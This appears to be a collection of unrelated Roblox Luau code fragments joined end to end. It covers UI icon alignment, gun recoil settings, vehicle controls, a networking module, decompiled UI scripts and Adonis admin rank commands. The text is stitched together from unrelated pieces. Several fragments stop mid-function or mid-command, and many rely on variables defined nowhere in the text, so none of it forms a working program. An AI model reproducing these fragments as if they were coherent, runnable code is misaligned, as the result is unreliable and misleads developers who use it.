local alignmentDetails = {} alignmentDetails["left"] = { startScale = 0, getOffset = function() local offset = 48 + IconController.leftOffset if checkTopbarEnabled() then local chatEnabled = starterGui:GetCoreGuiEnabled("Chat") if chatEnabled then offset += 12 + 32 end if isVoiceChatEnabled and not isStudio then if chatEnabled then offset += 67 else offset += 43 end end end return offset end, getStartOffset = function() local alignmentGap = IconController["leftGap"] local startOffset = alignmentDetails.left.getOffset() + alignmentGap return startOffset end, records = {} } alignmentDetails["mid"] = { startScale = 0.5, getOffset = function() return 0 end, getStartOffset = function(totalIconX) local alignmentGap = IconController["midGap"] return -totalIconX/2 + (alignmentGap/2) end, records = {} } alignmentDetails["right"] = { startScale = 1, getOffset = function() local offset = IconController.rightOffset if checkTopbarEnabled() and (starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList) or starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Backpack) or starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu)) then offset += 48 end return offset end, getStartOffset = function(totalIconX) local startOffset = -totalIconX - alignmentDetails.right.getOffset() return startOffset end, records = {} --reverseSort = true }
-- Roblox User Input Control Modules - each returns a new() constructor function used to create controllers as needed
local Keyboard = require(script:WaitForChild("Keyboard")) local Gamepad = require(script:WaitForChild("Gamepad")) local DynamicThumbstick = require(script:WaitForChild("DynamicThumbstick")) local FFlagUserFlagEnableNewVRSystem do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserFlagEnableNewVRSystem") end) FFlagUserFlagEnableNewVRSystem = success and result end local FFlagUserMakeThumbstickDynamic do local success, value = pcall(function() return UserSettings():IsUserFeatureEnabled("UserMakeThumbstickDynamic") end) FFlagUserMakeThumbstickDynamic = success and value end local TouchThumbstick = FFlagUserMakeThumbstickDynamic and DynamicThumbstick or require(script:WaitForChild("TouchThumbstick"))
-- Compiled with roblox-ts v1.3.3
local TS = _G[script] local ServerEventV2 = TS.import(script, script.Parent, "ServerEvent").default local function isMiddlewareArgument(args) local _condition = #args > 1 if _condition then local _arg0 = args[1] _condition = type(_arg0) == "table" end return _condition end
-- Fonction pour calculer la distance entre deux positions
local function calculateDistance(position1, position2) return (position1 - position2).Magnitude end
---- UTILITY FUNCTIONS ---------------------------------------------------------
local RaycastParams = RaycastParams.new() RaycastParams.FilterDescendantsInstances = { workspace:WaitForChild("Mobs"), workspace:WaitForChild("Characters") } RaycastParams.RespectCanCollide = true RaycastParams.IgnoreWater = true local function GetTableLength(t): number local n = 0 for _ in t do n += 1 end return n end
--RL
rSprings[1].Thickness = Settings[1] rSprings[1].MaxLength = Settings[2] rSprings[1].MinLength = Settings[3] rSprings[1].Damping = Settings[4] rSprings[1].FreeLength = Settings[5] rSprings[1].LimitsEnabled = Settings[6] rSprings[1].MaxForce = Settings[7] rSprings[1].Stiffness = Settings[8]
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {3,6} --- Vertical Recoil ,HRecoil = {3,6} --- Horizontal Recoil ,AimRecover = .9 ---- Between 0 & 1 ,RecoilPunch = .1 ,VPunchBase = 2 --- Vertical Punch ,HPunchBase = 2 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .5 ,MaxRecoilPower = 2.5 ,RecoilPowerStepAmount = .15 ,MinSpread = 4.5 --- Min bullet spread value | Studs ,MaxSpread = 50 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 2 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1 --- Max sway value based on player stamina | Studs
--Hello! Please put me inside of a R6 dummy --this script loads the local players avatar
local Players = game:GetService("Players") local function handlePlayerAdded(player) local id = player.UserId local success, result = pcall(function() return Players:GetCharacterAppearanceAsync(id) end) if success then local Models = result Models.Parent = script.Parent wait() for i, v in pairs(Models:GetChildren()) do print(v.Name) v.Parent = script.Parent wait() end else warn("Failed to get character appearance for player " .. player.Name) end end
-- Constants
local RootModel = script:FindFirstAncestorOfClass("Model") local EffectsToPlay = script.EffectsToPlay local WeaponDefinition = WeaponDefinitionLoader.GetWeaponDefintionByName(RootModel:GetAttribute("WeaponName")) local OwnerID = RootModel:GetAttribute("OwnerID") local GrenadeFuseTime = WeaponDefinition:GetFuseTime() local owningPlayer = PlayersService:GetPlayerByUserId(OwnerID)
--// Hash: 01509f4cfef0d92b23d78951ca55f7fca2f31845079a481643af7edeb9c1e0e98ce7977e4b7264043c35388d50a9956b -- Decompiled with the Synapse X Luau decompiler.
local l__LocalPlayer__1 = game.Players.LocalPlayer; local l__GuiService__2 = game:GetService("GuiService"); local l__UserInputService__1 = game:GetService("UserInputService"); local l__RunService__2 = game:GetService("RunService"); function module(p1) local v3 = "pc"; if l__UserInputService__1.TouchEnabled then if not l__UserInputService__1.AccelerometerEnabled then if l__UserInputService__1.GyroscopeEnabled then v3 = "mobile"; end; else v3 = "mobile"; end; end; if l__UserInputService__1.GamepadEnabled then v3 = "console"; end; if l__UserInputService__1.TouchEnabled then if l__RunService__2:IsStudio() then v3 = "mobile"; end; end; return v3; end; return module;
---- ARITHMETIC ----
function ActiveCastStatic:AddVelocity(velocity: Vector3) assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("AddVelocity", "ActiveCast.new(...)")) assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) self:SetVelocity(self:GetVelocity() + velocity) end function ActiveCastStatic:AddAcceleration(acceleration: Vector3) assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("AddAcceleration", "ActiveCast.new(...)")) assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) self:SetAcceleration(self:GetAcceleration() + acceleration) end function ActiveCastStatic:AddPosition(position: Vector3) assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("AddPosition", "ActiveCast.new(...)")) assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) self:SetPosition(self:GetPosition() + position) end
-- ==================== -- SHOTGUN -- Enable the gun to fire multiple bullet in one shot -- ====================
ShotgunEnabled = true; BulletPerShot = 4; ShotgunReload = false; --Make user reloading like Shotgun, which user clipin shell one by one ShotgunClipinAnimationID = nil; --Set to "nil" if you don't want to animate ShotgunClipinAnimationSpeed = 1; ShellClipinSpeed = 0.5; --In second
--print(hit.Parent.Name)
if hit.Parent:findFirstChild("Humanoid") ~= nil then local hum=hit.Parent:findFirstChild("Humanoid")
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Wheat",Paint) end)
--------------
CenterTween1 = TweenService:Create(centerWeld,tweenInfo,CenterWeldG1) LeftTween1 = TweenService:Create(leftWeld,tweenInfo,leftWeldG1) RightTween1 = TweenService:Create(rightWeld,tweenInfo,rightWeldG1) CenterTween2 = TweenService:Create(centerWeld,tweenInfo,CenterWeldG2) LeftTween2 = TweenService:Create(leftWeld,tweenInfo,leftWeldG2) RightTween2 = TweenService:Create(rightWeld,tweenInfo,rightWeldG2) while true do CenterTween1:play() LeftTween1:play() RightTween1:play() wait(.5) CenterTween2:play() LeftTween2:play() RightTween2:play() wait(.5) end
-- Decompiled with the Synapse X Luau decompiler.
local l__ReplicatedStorage__1 = game:GetService("ReplicatedStorage"); local u1 = require(l__ReplicatedStorage__1.Packages.Fusion); local u2 = require(l__ReplicatedStorage__1.GiftInbox.Gift); return function(p1) return u1.New("ScrollingFrame")({ Size = UDim2.fromScale(1, 1), AutomaticCanvasSize = Enum.AutomaticSize.Y, CanvasSize = UDim2.new(), ScrollingDirection = Enum.ScrollingDirection.Y, ScrollBarThickness = 8, BackgroundTransparency = 1, ScrollBarImageColor3 = Color3.fromRGB(197, 197, 197), [u1.Children] = { u1.New("UIListLayout")({ Padding = UDim.new(0, 10) }), u1.New("UIPadding")({ PaddingLeft = UDim.new(0.05, 0), PaddingRight = UDim.new(0.05, 0) }), u1.ComputedPairs(p1.gifts, function(p2, p3) local v2 = table.clone(p3); v2.layoutOrder = p2; return u2(v2); end) } }); end;
--// Functions
function TurnOff() L_27_ = false L_25_ = false L_14_ = false L_40_:FireServer() end function CheckForHumanoid(L_47_arg1) local L_48_ = false local L_49_ = nil if L_47_arg1 then if (L_47_arg1.Parent:FindFirstChild("Humanoid") or L_47_arg1.Parent.Parent:FindFirstChild("Humanoid")) then L_48_ = true if L_47_arg1.Parent:FindFirstChild('Humanoid') then L_49_ = L_47_arg1.Parent.Humanoid elseif L_47_arg1.Parent.Parent:FindFirstChild('Humanoid') then L_49_ = L_47_arg1.Parent.Parent.Humanoid end else L_48_ = false end end return L_48_, L_49_ end function Fire(L_50_arg1) for L_61_forvar1, L_62_forvar2 in pairs(L_50_arg1:GetChildren()) do if L_62_forvar2.Name:sub(1, 7) == 'FlashFX' then L_62_forvar2.Enabled = true end end delay(1 / 30, function() for L_63_forvar1, L_64_forvar2 in pairs(L_50_arg1:GetChildren()) do if L_64_forvar2.Name:sub(1, 7) == 'FlashFX' then L_64_forvar2.Enabled = false end end end) local L_51_ = L_50_arg1.Position local L_52_ = L_50_arg1.CFrame.lookVector.unit local L_53_ = CFrame.new(L_51_, L_51_ + L_52_) local L_54_ = Instance.new("Part") L_54_.Parent = L_38_ game.Debris:AddItem(L_54_, 3) L_54_.Shape = Enum.PartType.Block L_54_.Size = L_7_.BulletSize L_54_.Name = "Bullet" L_54_.TopSurface = "Smooth" L_54_.BottomSurface = "Smooth" L_54_.BrickColor = BrickColor.new("Bright green") L_54_.Material = "Neon" L_54_.CanCollide = false L_54_.CFrame = L_50_arg1.CFrame + (L_50_arg1.CFrame.p - L_50_arg1.CFrame.p) L_54_.CFrame = CFrame.new(L_50_arg1.CFrame.p, L_50_arg1.CFrame.p + L_52_) local L_55_ = Instance.new('BodyVelocity', L_54_) L_55_.MaxForce = Vector3.new(math.huge, math.huge, math.huge) L_55_.P = 10 L_55_.Velocity = L_52_ * L_7_.BulletSpeed local L_56_, L_57_, L_58_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_50_arg1.Position, L_50_arg1.CFrame.lookVector * L_7_.CastDist), L_39_); local L_59_ = Vector3.new(0, 1, 0):Cross(L_58_) local L_60_ = math.asin(L_59_.magnitude) if L_56_ and (L_56_ and L_56_.Transparency >= 1 or L_56_.CanCollide == false) and L_56_.Name ~= 'Right Arm' and L_56_.Name ~= 'Left Arm' and L_56_.Name ~= 'Right Leg' and L_56_.Name ~= 'Left Leg' and L_56_.Name ~= 'Armor' then table.insert(L_39_, L_56_) end if L_56_ then L_59_ = Vector3.new(0, 1, 0):Cross(L_58_) L_60_ = math.asin(L_59_.magnitude) -- division by 1 is redundant L_43_:FireServer(L_57_) local L_65_, L_66_ = CheckForHumanoid(L_56_) if L_65_ == false then local L_67_ = L_44_:InvokeServer(L_57_, L_59_, L_60_, L_58_, "Part", L_56_, 'NonExplosive') elseif L_65_ == true then local L_68_ = L_44_:InvokeServer(L_57_, L_59_, L_60_, L_58_, "Human", L_56_, 'NonExplosive') L_46_:FireServer(L_66_) L_45_:FireServer(L_66_, L_7_.BulletDamage) end end end function FireATG(L_69_arg1) if L_18_ > 0 then L_18_ = L_18_ - 1 if L_18_ < 0 then L_18_ = 0 end L_37_.Text = 'ATGs: ' .. L_18_ for L_84_forvar1, L_85_forvar2 in pairs(L_69_arg1:GetChildren()) do if L_85_forvar2.Name:sub(1, 7) == 'FlashFX' then L_85_forvar2.Enabled = true end end delay(1 / 30, function() for L_86_forvar1, L_87_forvar2 in pairs(L_69_arg1:GetChildren()) do if L_87_forvar2.Name:sub(1, 7) == 'FlashFX' then L_87_forvar2.Enabled = false end end end) local L_70_ = L_69_arg1.Position local L_71_ = L_69_arg1.CFrame.lookVector.unit local L_72_ = CFrame.new(L_70_, L_70_ + L_71_) local L_73_ = Instance.new("Part") L_73_.Parent = L_38_ game.Debris:AddItem(L_73_, 10) L_73_.Shape = Enum.PartType.Block L_73_.Size = L_7_.BulletSize L_73_.Name = "Bullet" L_73_.TopSurface = "Smooth" L_73_.BottomSurface = "Smooth" L_73_.BrickColor = BrickColor.new("Bright green") L_73_.Material = "Neon" L_73_.CanCollide = false L_73_.CFrame = L_69_arg1.CFrame + (L_69_arg1.CFrame.p - L_69_arg1.CFrame.p) L_73_.CFrame = CFrame.new(L_69_arg1.CFrame.p, L_69_arg1.CFrame.p + L_71_) local L_74_ = L_4_:WaitForChild('FX'):WaitForChild('RocketTrail'):clone() L_74_.Parent = L_73_ L_74_.Enabled = true local L_75_ = Instance.new('BodyVelocity', L_73_) L_75_.MaxForce = Vector3.new(math.huge, math.huge, math.huge) L_75_.P = 10 L_75_.Velocity = L_71_ * L_7_.BulletSpeed local L_76_ = L_69_arg1.Position; local L_77_ = L_73_.Position; local L_78_ = 0 local L_79_, L_80_, L_81_ local L_82_ local L_83_ while true do L_9_:wait() L_77_ = L_73_.Position; L_78_ = L_78_ + (L_77_ - L_76_).magnitude L_79_, L_80_, L_81_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_76_, (L_77_ - L_76_)), L_39_); L_82_ = Vector3.new(0, 1, 0):Cross(L_81_) L_83_ = math.asin(L_82_.magnitude) -- division by 1 is redundant --[[if distance >= config.CastDist then Bullet:Destroy() break end]]-- if L_79_ and (L_79_ and L_79_.Transparency >= 1 or L_79_.CanCollide == false) and L_79_.Name ~= 'Right Arm' and L_79_.Name ~= 'Left Arm' and L_79_.Name ~= 'Right Leg' and L_79_.Name ~= 'Left Leg' and L_79_.Name ~= 'Armor' then table.insert(L_39_, L_79_) end if L_79_ then L_82_ = Vector3.new(0, 1, 0):Cross(L_81_) L_83_ = math.asin(L_82_.magnitude) -- division by 1 is redundant L_43_:FireServer(L_80_) local L_88_ = L_44_:InvokeServer(L_80_, L_82_, L_83_, L_81_, "Part", L_79_, 'Explosive') L_73_:Destroy() break end end end end
--
if IsServer then function HandlerFireClient(handler, client, ...) if LoggingNetwork then table.insert(LoggingNetwork[client][handler.Remote].dataOut, GetParamString(...)) end return handler.Remote:FireClient(client, ...) end -- function Network:GetPlayers() return Players:GetPlayers() end function Network:GetPlayerPosition(player) return player and player.Character and player.Character.PrimaryPart and player.Character.PrimaryPart.Position or nil end -- function Network:FireClient(client, name, ...) local handler = GetEventHandler(name) if not handler then error(("'%s' is not a valid RemoteEvent"):format(name)) end HandlerFireClient(handler, client, ...) end function Network:FireAllClients(name, ...) local handler = GetEventHandler(name) if not handler then error(("'%s' is not a valid RemoteEvent"):format(name)) end for i,v in pairs(self:GetPlayers()) do HandlerFireClient(handler, v, ...) end end function Network:FireOtherClients(client, name, ...) local handler = GetEventHandler(name) if not handler then error(("'%s' is not a valid RemoteEvent"):format(name)) end for i,v in pairs(self:GetPlayers()) do if v ~= client then HandlerFireClient(handler, v, ...) end end end function Network:FireOtherClientsWithinDistance(client, dist, name, ...) local handler = GetEventHandler(name) if not handler then error(("'%s' is not a valid RemoteEvent"):format(name)) end local pos = self:GetPlayerPosition(client) if not pos then return end for _,player in pairs(self:GetPlayers()) do if player ~= client then local otherPos = self:GetPlayerPosition(player) if otherPos and (pos - otherPos).Magnitude <= dist then HandlerFireClient(handler, player, ...) end end end end function Network:FireAllClientsWithinDistance(pos, dist, name, ...) local handler = GetEventHandler(name) if not handler then error(("'%s' is not a valid RemoteEvent"):format(name)) end for _,player in pairs(self:GetPlayers()) do local otherPos = self:GetPlayerPosition(player) if otherPos and (pos - otherPos).Magnitude <= dist then HandlerFireClient(handler, player, ...) end end end function Network:InvokeClientWithTimeout(timeout, client, name, ...) local handler = GetEventHandler(name) if not handler then error(("'%s' is not a valid RemoteEvent"):format(name)) end return SafeInvoke(timeout, handler, client, ...) end function Network:InvokeClient(...) return self:InvokeClientWithTimeout(60, ...) end function Network:LogTraffic(...) FastSpawn(self.LogTrafficAsync, self, ...) end function Network:LogTrafficAsync(duration, output) output = output or warn if LoggingNetwork then return end output("Logging Network Traffic...") LoggingNetwork = setmetatable({}, { __index = function(t, i) t[i] = setmetatable({}, { __index = function(t, i) t[i] = { dataIn = {}, dataOut = {} } return t[i] end }) return t[i] end}) local start = os.clock() wait(duration) local effDur = os.clock() - start local clientTraffic = LoggingNetwork LoggingNetwork = nil for player,remotes in pairs(clientTraffic) do local totalReceived = 0 local totalSent = 0 for remote,data in pairs(remotes) do totalReceived += #data.dataIn totalSent += #data.dataOut end output(string.format("Player '%s', total received/sent: %d/%d", player.Name, totalReceived, totalSent)) for remote,data in pairs(remotes) do -- Incoming local list = data.dataIn if #list > 0 then output(string.format(" %s %s: %d (%.2f/s)", "FireServer", remote.Name, #list, #list / effDur)) local count = math.min(#list, 3) for i = 1, count do local index = math.floor(1 + (i - 1) / math.max(1, count - 1) * (#list - 1) + 0.5) output(string.format(" %d: %s", index, list[index])) end end -- Outgoing local list = data.dataOut if #list > 0 then output(string.format(" %s %s: %d (%.2f/s)", "FireClient", remote.Name, #list, #list / effDur)) local count = math.min(#list, 3) for i = 1, count do local index = math.floor(1 + (i - 1) / math.max(1, count - 1) * (#list - 1) + 0.5) output(string.format(" %d: %s", index, list[index])) end end end end end else EventsFolder.ChildAdded:Connect(function(child) GetEventHandler(child.Name) end) for _,child in pairs(EventsFolder:GetChildren()) do GetEventHandler(child.Name) end FunctionsFolder.ChildAdded:Connect(function(child) GetFunctionHandler(child.Name) end) for _,child in ipairs(FunctionsFolder:GetChildren()) do GetFunctionHandler(child.Name) end -- function Network:FireServer(name, ...) local handler = GetEventHandler(name) if not handler then error(("'%s' is not a valid RemoteEvent"):format(name)) end if handler.Remote then handler.Remote:FireServer(...) else local params = table.pack(...) AddToQueue(handler, function() handler.Remote:FireServer(unpack(params)) end, true) end end function Network:InvokeServerWithTimeout(timeout, name, ...) local handler = GetFunctionHandler(name) if not handler then error(("'%s' is not a valid RemoteFunction"):format(name)) end if not handler.Remote then -- Code below will break if the callback passed to AddToQueue is called -- before the function returns. This should never happen unless somebody -- changed how AddToQueue works. local thread = coroutine.running() AddToQueue(handler, function() ResumeThread(thread) end, true) YieldThread() end local result = table.pack(SafeInvoke(timeout, handler, ...)) assert(result[1] == true, "InvokeServer error") return unpack(result, 2) end function Network:InvokeServer(name, ...) return self:InvokeServerWithTimeout(nil, name, ...) end end
--[[ Like andThen, but the value passed into the handler is also the value returned from the handler. ]]
function Promise.prototype:tap(tapCallback) assert(type(tapCallback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:tap")) return self:_andThen(debug.traceback(nil, 2), function(...) local callbackReturn = tapCallback(...) if Promise.is(callbackReturn) then local length, values = pack(...) return callbackReturn:andThen(function() return unpack(values, 1, length) end) end return ... end) end Promise.prototype.Tap = Promise.prototype.tap
-- local second=math.floor(((minute*60)%1)*60)
HourArrow.Rotation = 180+(hour*360) MinArrow.Rotation = 180+(mint*6)
--!strict --[=[ @function is @within Array @param object any -- The object to check. @return boolean -- Whether the object is an array. Checks if the given object is an array. ```lua local array = { 1, 2, 3 } local dictionary = { hello = "world" } local mixed = { 1, 2, hello = "world" } Array.is(array) -- true Array.is(dictionary) -- false Array.is(mixed) -- false ``` ]=]
local function is(object: any): boolean return typeof(object) == "table" and #object > 0 and next(object, #object) == nil end return is
-- stores
local mainStore = dss:GetDataStore("MainDataStore")
-- GAMEPASSES
Gamepasses = { [29104154] = "VIP"; };
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "a" then a = true elseif key == "d" then d = true elseif key == "w" then w = true rwd.Throttle = 1 rwd.Torque = tq lwd.Throttle = 1 lwd.Torque = ftq rrwd.Throttle = 1 rrwd.Torque = ftq rwd.MaxSpeed = 192 lwd.MaxSpeed = 192 rrwd.MaxSpeed = 192 carSeat.Throttle = 1 carSeat.Torque = 0 elseif key == "s" then s = true carSeat.Throttle = 0 carSeat.Torque = 0 rwd.Throttle = -1 rwd.Torque = brk lwd.Throttle = -1 lwd.Torque = brk rrwd.Throttle = -1 rrwd.Torque = brk rwd.MaxSpeed = 25 lwd.MaxSpeed = 25 rrwd.MaxSpeed = 25 end end) mouse.KeyUp:connect(function (key) key = string.lower(key) if key == "a" then print("a up") if d == false then m.DesiredAngle = 0 n.DesiredAngle = m.DesiredAngle end elseif key == "d" then print("d up") if a == false then m.DesiredAngle = 0 n.DesiredAngle = m.DesiredAngle end end a = false d = false end) mouse.KeyUp:connect(function (key) key = string.lower(key) if key == "w" or key == "s" then rwd.Throttle = 0 rwd.Torque = 0 lwd.Throttle = 0 lwd.Torque = 0 rrwd.Throttle = 0 rrwd.Torque = 0 carSeat.Throttle = 0 carSeat.Torque = cst end end) limitButton.MouseButton1Click:connect(function()
--Horsepower Curve
function curve(RPM) RPM=RPM/1000 return ((-(RPM-PeakRPM)^2)*math.min(HP/(PeakRPM^2),CurveMult^(PeakRPM/HP))+HP)*(RPM-((RPM^Sharpness)/((Sharpness*PeakRPM)^(Sharpness-1)))) end local PeakCurve = curve(_Tune.PeakRPM) local Horsepower = math.max(curve(RPM)/(PeakCurve/HP),0)
--SS3.33 Tesla Edit for Tesla Model X by Itzt (This is NOT SS3.33T.)
wait(0.1) local player = game.Players.LocalPlayer local lightOn = false local HUB = script.Parent.HUB local limitButton = HUB.Parent.Gauges.Circle.Zero.Limiter local carSeat = script.Parent.CarSeat.Value local mouse = game.Players.LocalPlayer:GetMouse() local n = Instance.new("Motor") local m = Instance.new("Motor") local rwd = carSeat.Parent.Parent.RWD.RWD local lwd = carSeat.Parent.Parent.LW.VS local rrwd = carSeat.Parent.Parent.RW.VS local windows = false local winfob = HUB.Parent.Windows local tailLights = carSeat.Parent.Taillights local gear = 0 local ignition = 0 cc = script.Parent.CC tq = 3.2 ftq = 3.2 brk = 6.4 cst = 0.2 m.Part0 = carSeat.Parent.Parent.Body2.MR m.Part1 = carSeat.Parent.Parent.RW.SS m.Parent = carSeat.Parent.Parent.Body2.MR m.MaxVelocity = 0.05 n.Part0 = carSeat.Parent.Parent.Body2.ML n.Part1 = carSeat.Parent.Parent.LW.SS n.Parent = carSeat.Parent.Parent.Body2.ML n.MaxVelocity = 0.05 a = false d = false w = false s = false q = false -- left e = false -- right r = false local rightin = false local leftin = false
--!nocheck
return function(Vargs, env) local server = Vargs.Server; local service = Vargs.Service; local Settings = server.Settings local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps = server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps if env then setfenv(1, env) end local Routine = env.Routine return { --[[ --// Unfortunately not viable Reboot = { Prefix = ":"; Commands = {"rebootadonis", "reloadadonis"}; Args = {}; Description = "Attempts to force Adonis to reload"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local rebootHandler = server.Deps.RebootHandler:Clone(); if server.Runner then rebootHandler.mParent.Value = service.UnWrap(server.ModelParent); rebootHandler.Dropper.Value = service.UnWrap(server.Dropper); rebootHandler.Runner.Value = service.UnWrap(server.Runner); rebootHandler.Model.Value = service.UnWrap(server.Model); rebootHandler.Mode.Value = "REBOOT"; task.wait(0.03) rebootHandler.Parent = service.ServerScriptService; rebootHandler.Disabled = false; task.wait(0.03) server.CleanUp(); else error("Unable to reload: Runner missing"); end end; };--]] SetRank = { Prefix = Settings.Prefix; Commands = {"setrank", "permrank", "permsetrank"}; Args = {"player/user", "rank"}; Description = "Sets the admin rank of the target user(s); THIS SAVES!"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) assert(args[1], "Missing target user (argument #1)") local rankName = assert(args[2], "Missing rank name (argument #2)") local newRank = Settings.Ranks[rankName] if not newRank then for thisRankName, thisRank in Settings.Ranks do if thisRankName:lower() == rankName:lower() then rankName = thisRankName newRank = thisRank break end end end assert(newRank, `No rank named '{rankName}' exists`) local newLevel = newRank.Level local senderLevel = data.PlayerData.Level assert(newLevel < senderLevel, string.format("Rank level (%s) cannot be equal to or above your own level (%s)", newLevel, senderLevel)) for _, p in Functions.GetPlayers(plr, args[1], {NoFakePlayer = false})do if senderLevel > Admin.GetLevel(p) then Admin.AddAdmin(p, rankName) Remote.MakeGui(p, "Notification", { Title = "Notification"; Message = string.format("You are %s%s. Click to view commands.", if string.lower(string.sub(rankName, 1, 3)) == "the" then "" elseif string.match(rankName, "^[AEIOUaeiou]") and string.lower(string.sub(rankName, 1, 3)) ~= "uni" then "an " else "a ", rankName); Icon = server.MatIcons.Shield; Time = 10; OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`); }) Functions.Hint(`{service.FormatPlayer(p, true)} is now rank {rankName} (Permission Level: {newLevel})`, {plr}) else Functions.Hint(`You do not have permission to set the rank of {service.FormatPlayer(p, true)}`, {plr}) end end end; }; SetTempRank = { Prefix = Settings.Prefix; Commands = {"settemprank", "temprank", "tempsetrank"}; Args = {"player", "rank"}; Description = `Identical to {Settings.Prefix}setrank, but doesn't save`; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) assert(args[1], "Missing target player (argument #1)") local rankName = assert(args[2], "Missing rank name (argument #2)") local newRank = Settings.Ranks[rankName] if not newRank then for thisRankName, thisRank in Settings.Ranks do if thisRankName:lower() == rankName:lower() then rankName = thisRankName newRank = thisRank break end end end assert(newRank, `No rank named '{rankName}' exists`) local newLevel = newRank.Level local senderLevel = data.PlayerData.Level assert(newLevel < senderLevel, string.format("Rank level (%s) cannot be equal to or above your own level (%s)", newLevel, senderLevel)) for _, v in service.GetPlayers(plr, args[1]) do if senderLevel > Admin.GetLevel(v) then Admin.AddAdmin(v, rankName, true) Remote.MakeGui(v, "Notification", { Title = "Notification"; Message = `You are a temp {rankName}. Click to view commands.`; Icon = server.MatIcons.Shield; Time = 10; OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`); }) Functions.Hint(`{service.FormatPlayer(v, true)} is now rank {rankName} (Permission Level: {newLevel})`, {plr}) else Functions.Hint(`You do not have permission to set the rank of {service.FormatPlayer(v, true)}`, {plr}) end end end; }; SetLevel = { Prefix = Settings.Prefix; Commands = {"setlevel", "setadminlevel"}; Args = {"player", "level"}; Description = "Sets the target player(s) permission level for the current server; does not save"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local senderLevel = data.PlayerData.Level local newLevel = assert(tonumber(args[2]), "Level must be a number") assert(newLevel < senderLevel, `Level cannot be equal to or above your own permission level ({senderLevel})`); for _, v in service.GetPlayers(plr, args[1])do if senderLevel > Admin.GetLevel(v) then Admin.SetLevel(v, newLevel)--, args[3] == "true") Remote.MakeGui(v, "Notification", { Title = "Notification"; Message = `Your admin permission level was set to {newLevel} for this server only. Click to view commands.`; Icon = server.MatIcons.Shield; Time = 10; OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`); }) Functions.Hint(`{service.FormatPlayer(v, true)} is now permission level {newLevel}`, {plr}) else Functions.Hint(`You do not have permission to set the permission level of {service.FormatPlayer(v, true)}`, {plr}) end end end; }; UnAdmin = { Prefix = Settings.Prefix; Commands = {"unadmin", "unmod", "unowner", "unpadmin", "unheadadmin", "unrank"}; Args = {"player/user / list entry", "temp? (true/false) (default: false)"}; Description = "Removes admin/moderator ranks from the target player(s); saves unless <temp> is 'true'"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local target = assert(args[1], "Missing target user (argument #1)") local temp = args[2] and args[2]:lower() == "true" local senderLevel = data.PlayerData.Level local userFound = false if not target:find(":") then for _, v in service.GetPlayers(plr, target, { UseFakePlayer = true; DontError = true; }) do userFound = true local targLevel, targRank = Admin.GetLevel(v) if targLevel > 0 then if senderLevel > targLevel then Admin.RemoveAdmin(v, temp) Functions.Hint(string.format("Removed %s from rank %s", service.FormatPlayer(v, true), targRank or "[unknown rank]"), {plr}) Remote.MakeGui(v, "Notification", { Title = "Notification"; Message = string.format("You are no longer a(n) %s", targRank or "admin"); Icon = server.MatIcons["Remove moderator"]; Time = 10; }) else Functions.Hint(`You do not have permission to remove {service.FormatPlayer(v, true)}'s rank`, {plr}) end else Functions.Hint(`{service.FormatPlayer(v, true)} does not already have any rank to remove`, {plr}) end end if userFound then return else Functions.Hint("User not found in server; searching datastore", {plr}) end end for rankName, rankData in Settings.Ranks do if senderLevel <= rankData.Level then continue end for i, user in rankData.Users do if not (user:lower() == target:lower() or user:lower():match(`^{target:lower()}:`) or Admin.DoCheck(target, user)) then continue end if Remote.GetGui(plr, "YesNoPrompt", { Question = `Remove '{user}' from '{rankName}'?`; }) == "Yes" then table.remove(rankData.Users, i) if not temp and Settings.SaveAdmins then service.TrackTask("Thread: RemoveAdmin", Core.DoSave, { Type = "TableRemove"; Table = {"Settings", "Ranks", rankName, "Users"}; Value = user; }); Functions.Hint(`Removed entry '{user}' from {rankName}`, {plr}) Logs:AddLog("Script", `{plr} removed {user} from {rankName}`) end end userFound = true end end assert(userFound, `No table entries matching '{args[1]}' were found`) end }; TempUnAdmin = { Prefix = Settings.Prefix; Commands = {"tempunadmin", "untempadmin", "tunadmin", "untadmin"}; Args = {"player"}; Description = "Removes the target players' admin powers for this server; does not save"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local senderLevel = data.PlayerData.Level for _, v in service.GetPlayers(plr, assert(args[1], "Missing target player (argument #1)")) do local targetLevel = Admin.GetLevel(v) if targetLevel > 0 then if senderLevel > targetLevel then Admin.RemoveAdmin(v, true) Functions.Hint(`Removed {service.FormatPlayer(v)}'s admin powers`, {plr}) 